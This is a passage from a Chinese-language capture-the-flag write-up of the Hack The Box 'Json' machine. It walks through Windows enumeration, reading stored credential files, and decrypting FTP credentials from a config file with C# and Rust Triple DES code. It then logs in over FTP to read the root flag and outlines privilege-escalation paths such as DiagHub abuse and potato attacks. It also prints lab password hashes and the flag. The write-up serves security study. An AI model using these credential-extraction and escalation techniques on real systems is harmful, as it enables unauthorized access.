TCP [::]:21 [::]:0 LISTENING 844
...
PS C:\> certutil.exe -urlcache -f http://127.0.0.1:14147
**** Online ****
0000 ...
011f
0000 46 5a 53 00 04 00 60 09 00 00 04 00 40 01 00 01 FZS...`.....@...
0010 00 00 00 00 06 7e 00 00 00 01 59 6f 75 20 61 70 .....~....You ap
0020 70 65 61 72 20 74 6f 20 62 65 20 62 65 68 69 6e pear to be behin
0030 64 20 61 20 4e 41 54 20 72 6f 75 74 65 72 2e 20 d a NAT router.
0040 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 Please configure
0050 20 74 68 65 20 70 61 73 73 69 76 65 20 6d 6f 64 the passive mod
0060 65 20 73 65 74 74 69 6e 67 73 20 61 6e 64 20 66 e settings and f
0070 6f 72 77 61 72 64 20 61 20 72 61 6e 67 65 20 6f orward a range o
0080 66 20 70 6f 72 74 73 20 69 6e 20 79 6f 75 72 20 f ports in your
0090 72 6f 75 74 65 72 2e 06 44 00 00 00 01 57 61 72 router..D....War
00a0 6e 69 6e 67 3a 20 46 54 50 20 6f 76 65 72 20 54 ning: FTP over T
00b0 4c 53 20 69 73 20 6e 6f 74 20 65 6e 61 62 6c 65 LS is not enable
00c0 64 2c 20 75 73 65 72 73 20 63 61 6e 6e 6f 74 20 d, users cannot
00d0 73 65 63 75 72 65 6c 79 20 6c 6f 67 20 69 6e 2e securely log in.
00e0 06 3a 00 00 00 01 50 72 6f 74 6f 63 6f 6c 20 65 .:....Protocol e
00f0 72 72 6f 72 3a 20 55 6e 6b 6e 6f 77 6e 20 63 6f rror: Unknown co
0100 6d 6d 61 6e 64 20 74 79 70 65 2c 20 63 6c 6f 73 mmand type, clos
0110 69 6e 67 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e ing connection.
CertUtil: -URLCache command FAILED: 0x80072f78 (INet: 12152 ERROR_HTTP_INVALID_SERVER_RESPONSE)
CertUtil: The server returned an invalid or unrecognized response
...
PS C:\inetpub\wwwroot\jsonapp\dbdata> ls
Directory: C:\inetpub\wwwroot\jsonapp\dbdata
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar-- 5/23/2019 12:08 PM 350 userscredentials - Copy.json
-a--- 8/12/2019 11:05 AM 472 userscredentials.json
PS C:\inetpub\wwwroot\jsonapp\dbdata> type *
[
{
"Id": 1,
"UserName": "puppet",
"Password": "0571749e2ac330a7455809c6b0e7af90",
"Name": "User Admin HTB",
"Rol": "Administrator"
},
{
"Id": 1,
"UserName": "ansible",
"Password": "84d961568a65073a3bcf0eb216b2a576",
"Name": "User",
"Rol": "User"
}
]
/NIPCn7IDz/eBm3RkJRB/0fbUM8D69U/PBeyksExcqXNOPHCEt+9THcjFNTxAiTy/JtsBx2oy9nPJ05RFGLX2aAhIddIVgeM9CRNT2+ILr2uS3mwp+FSHYU2V1ulFwgDYv7kb+Wzaw/iwfq5Wf8zA15zBzmWgP2WjxvQTvIhor3eQBsQc851KkHjCVZrMi0FurubwZUTAxCWAQtc+WsguJTssEW69XRIUCqx63666jpnQji3wgRLzYCJ2nvdEJwgECWGWSWTkH6pQKgS+QiqjnPhXRbV3QnWY3oB4VhGNi+Joez+7M9fvWy8x36YOEKAiGohv+9OjYBvfPcCLyIX80f+99CD0l26D6duabrybvg27/2YhXQ3MuANTkoeZqXMIJZytHIbdbR4AyfTdNvUds5XGLZHjIxi3ZDXz5ffb+lIEh4jA1gMyJ5pbKilnv6b0vXFjAFjEKWxuaT42yddQw==
...
PS C:\inetpub\wwwroot\jsonapp\js> ls
Directory: C:\inetpub\wwwroot\jsonapp\js
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar-- 4/29/2019 12:22 PM 12990 angular-cookies.js
-ar-- 4/29/2019 1:18 PM 85808 angular-file-upload.js
-ar-- 4/26/2019 12:24 PM 59227 angular-route.js
-ar-- 4/25/2019 1:07 PM 176592 angular.min.js
-ar-- 5/23/2019 2:50 PM 2357 app.min.js
-ar-- 4/25/2019 12:13 PM 55704 bootstrap.min.js
-ar-- 4/29/2019 1:04 PM 1316 requestInterceptor.js
...
PS C:\inetpub\wwwroot\jsonapp> ls views
Directory: C:\inetpub\wwwroot\jsonapp\views
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar-- 5/6/2019 5:44 PM 76593 contacto.html
-ar-- 4/26/2019 1:21 PM 1354 forgot.html
-ar-- 4/26/2019 4:02 PM 1896 login.html
-ar-- 5/6/2019 5:43 PM 80248 principal.html
-ar-- 4/26/2019 4:06 PM 3 productos.html
-ar-- 4/29/2019 2:45 PM 821 viewItems.html
...
非預設程式Sync2Ftp
經過深入探查,翻翻找找之後,在Program Files下發現一個名為Sync2Ftp
的非預設程式,這可能是突破點。
PS C:\> ls 'Program Files'
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 8/8/2019 7:04 PM Common Files
d---- 11/21/2014 6:24 AM Embedded Lockdown Manager
d---- 8/8/2019 7:04 PM Internet Explorer
d---- 5/22/2019 4:37 PM MSBuild
d---- 5/22/2019 4:37 PM Reference Assemblies
d---- 5/23/2019 3:06 PM Sync2Ftp
d---- 5/22/2019 4:28 PM VMware
d---- 8/8/2019 7:04 PM Windows Mail
d---- 8/8/2019 7:04 PM Windows Media Player
d---- 8/8/2019 7:04 PM Windows Multimedia Platform
d---- 8/8/2019 7:04 PM Windows NT
d---- 8/8/2019 7:04 PM Windows Photo Viewer
d---- 8/8/2019 7:04 PM Windows Portable Devices
d---- 11/21/2014 6:24 AM WindowsPowerShell
Sync2Ftp
資料夾底下包含主程式SyncLocation.exe
以及其設定檔:
PS C:\Program Files\Sync2Ftp> ls
Directory: C:\Program Files\Sync2Ftp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar-- 5/23/2019 2:48 PM 9728 SyncLocation.exe
-a--- 5/23/2019 3:08 PM 591 SyncLocation.exe.config
查看內容,發現設定檔裡面有加密後的FTP帳號密碼!
PS C:\Program Files\Sync2Ftp> cat SyncLocation.exe.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<appSettings>
<add key="destinationFolder" value="ftp://localhost/"/>
<add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
<add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
<add key="minute" value="30"/>
<add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
<add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
</appSettings>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>
...
解密SyncLocation.exe
設定檔
設定檔的加密帳密,SyncLocation.exe
程式本身當然沒有辦法使用,所以是必解密後,才能登入使用者同步資料。
為了分析程式如何解密密碼,將檔案下載回本機:
順手檢視一下檔案:
┌──(kali㉿kali)-[~/…/ctf/htb/machines/json]
└─$ file SyncLocation.exe
SyncLocation.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
得知是.NET框架下的應用程式。
反編譯.NET程式
使用dnSpyEx反編譯SyncLocation.exe
。
目前只對解密有興趣,所以直接搜尋相關關鍵字:「Decrypt」 (快捷鍵:Ctrl+Shift+K ) ,結果到在
class Crypto
下找到Decrypt()
的解密函數。
經過閱讀程式碼,可知解密流程:
- Base64解密加密字串(如:
4as8gqENn26uTs9srvQLyg==
),與讀取SecurityKey
useHashing
確認是否使用使用MD5 hash- 如果使用MD5,則將剛才
SecurityKey
(bytes)經過MD5,取得hash作為解密金鑰 - 使用ECB模式的Triple DES解密密文
現在只要實作一樣的解密流程,或是直接照抄程式碼,就可以解出密碼了!
但在這之前,要先確認是否使用MD5取得解密金鑰,使用Dnspy
的「analyze」功能 ( Ctrl+Shift+R ),
尋找其他引用Decrypt()
的函數。 結果在class Copy
下找到解密user和password的邏輯,
且都使用MD5產生SecurityKey
的hash做解密金鑰。
我本來想要練習手刻一個解密程式,但是TripleDESCryptoServiceProvider
的實作方式好像和OpenSSL不一樣,直接炸鍋,所以先抄作業解密吧QQ
using System;
using System.Linq;
using System.Text;
using System.Security.Cryptography;
using System.Collections.Specialized;
using System.Configuration;
public class Program
{
public static void Main()
{
Console.WriteLine("Username: " + Decrypt("4as8gqENn26uTs9srvQLyg==", true));
Console.WriteLine("Password: " + Decrypt("oQ5iORgUrswNRsJKH9VaCw==", true));
}
public static string Decrypt(string cipherString, bool useHashing)
{
byte[] keyArray;
byte[] toEncryptedString = Convert.FromBase64String(cipherString);
byte[] resultArray;
string key = "_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%";
if (useHashing)
{
MD5CryptoServiceProvider hashmd5 = new MD5CryptoServiceProvider();
keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(key));
hashmd5.Clear();
}
else
{
keyArray = UTF8Encoding.UTF8.GetBytes(key);
}
TripleDESCryptoServiceProvider tdes = new TripleDESCryptoServiceProvider();
tdes.Key = keyArray;
tdes.Mode = CipherMode.ECB;
tdes.Padding = PaddingMode.PKCS7;
ICryptoTransform cTransform = tdes.CreateDecryptor();
resultArray = cTransform.TransformFinalBlock(toEncryptedString, 0, toEncryptedString.Length);
tdes.Clear();
return UTF8Encoding.UTF8.GetString(resultArray);
}
}
但後來還是成功用了!詳情請見 後記 - 手刻解密程式。
FTP登入superuser
以superuser
登入FTP!
┌──(kali㉿kali)-[~/…/ctf/htb/machines/json]
└─$ ftp -A ftp://superadmin:[email protected]
Connected to 10.129.233.21.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse ([email protected])
220 Please visit https://filezilla-project.org/
331 Password required for superadmin
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
200 Type set to I
ftp> less Desktop/root.txt
5472e5f9a3251abbe94294d4f34b1bfb
後記
可是我想要sHalL!
光FTP登入那flag還不夠,沒有shell怎麼行?
那就要再繼續觀察有什麼途徑能夠利用了。 剛才在內網探勘的時候,發現靶機對內開有FileZilla的管理port 14147
,只要使用chisel等工具把port導出來,再用FileZilla連線就可以管理FTP了! 然後任意修改FTP帳號的
home directroy到C:\
下,並給予讀寫權限,接下來就可以嘗試DLL挾持,或是使用DiagHub4等等攻擊。
第二提權路徑
➡️ SHELL
DDDD,potato。
PS C:\inetpub\wwwroot\jsonapp> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
手刻解密程式
如果你問我一開始為啥不就直接使用C#寫,還自找麻煩挑其他語言和OpenSSL寫?理由很簡單,就是因為懶惰和不熟悉。
我不想安裝VS,或是在本機設定C#與.NET的環境,也不怎麼想學習C#,也就因此撞牆,外加自身開發經驗有限,
對加密演算法也不夠理解,一開始很單純的認為處理加解密不就是該採用OpenSSL打天下,但萬萬沒有想到不同函式庫的實作方式不同,
不是每次都可以輕鬆無痛的轉換。
TripleDESCryptoServiceProvider的問題
TL;DR
微軟的TripleDESCryptoServiceProvider
對16-byte長的key採用EDE2模式(K1, K2, K1)。
如果你選的語言的OpenSSL函式庫沒有DES_ecb2_encrypt()
(DES-EDE2)的函式,你必須自組24-byte長key,
再拋給DES-EDE3的函數。
TDES採用24-byte長的密鑰解密,因此當我們將MD5的hash(16 bytes)餵給OpenSSL的des_ede3_ecb()
時太短而報錯,
若改使用openssl cli則不足長度補零,但key就不對了。
MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
array2 = md5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(text));
md5CryptoServiceProvider.Clear();
...
TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
tripleDESCryptoServiceProvider.Key = array2;
但微軟的TripleDESCryptoServiceProvider
自動以Two-Key Triple DES (EDE2 or 2TDES)處理16-byte的短key,
也許這是常識,但官方文件沒有表明這點,這讓我很困惑。
超簡短TDES與EDE2的運作原理
基本概念
DES是一種對稱區塊加密法,將資料每64 bits分塊,其金鑰長56 bits(實際上是64 bits,因為之後加上8 bits奇偶校驗)。
但由於單一DES的不安全,所以後來開發強化版「三重DES(TDES)」。
EDE2 (雙金鑰三重DES)
EDE2是TDES的雙金鑰版本,其特點如下:
- 使用兩把不同的金鑰 (K1和K2),總長度為112 bits (56 bits × 2)
- 加密過程遵循"加密-解密-加密"模式:
若只能用EDE3
如果你選的語言的OpenSSL函式庫沒有DES_ecb2_encrypt()
(DES-EDE2)的函式,你必須從16-byte長key自組成24 bytes, 再拋給DES-EDE3的函數。
以下是實作結果:
fn des_ede3_decrypt(encrypted_data: &[u8], key: &[u8]) -> Option<Vec<u8>> {
if key.len() < 16 {
eprintln!("DES-EDE requires 16-byte key.");
return None;
}
let mut triple_des_key = Vec::with_capacity(24);
triple_des_key.extend_from_slice(&key[0..8]);
triple_des_key.extend_from_slice(&key[8..16]);
triple_des_key.extend_from_slice(&key[0..8]);
let cipher = Cipher::des_ede3_ecb();
let mut crypter = Crypter::new(
cipher,
Mode::Decrypt,
&triple_des_key,
None,
)
.unwrap();
let mut output = vec![0; encrypted_data.len() + cipher.block_size()];
let count = crypter.update(encrypted_data, &mut output).unwrap();
let rest = crypter.finalize(&mut output[count..]).unwrap();
output.truncate(count + rest);
Some(output)
}
Sync2FtpDecryptor.exe Source
蛤,為啥要用rust寫? 因為我在學啊! 現在可以明白我當初為啥不想再多學一個C#了吧?!
-
Conditionals類型的HTTP header之一,瀏覽器可以使用
If-Modified-Since
標頭,在後續請求中要求伺服器提供指定日期後更變的資料內容。Last-Modified
- MDN Web Docs ↩ -
Conditionals類型的HTTP header之一,瀏覽器可以使用
If-None-Match
標頭檢查資源是否已變更。ETag
- MDN Web Docs ↩ -
微軟在Windows 10之後加入DiagHub (Microsoft (R) Diagnostics Hub Standard Collector Service),本來是用於蒐集診斷日誌的服務,但具有任意執行
System32
底下DLL的功能,就能與任意寫入權限一同濫用提權。 Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - Project Zero ↩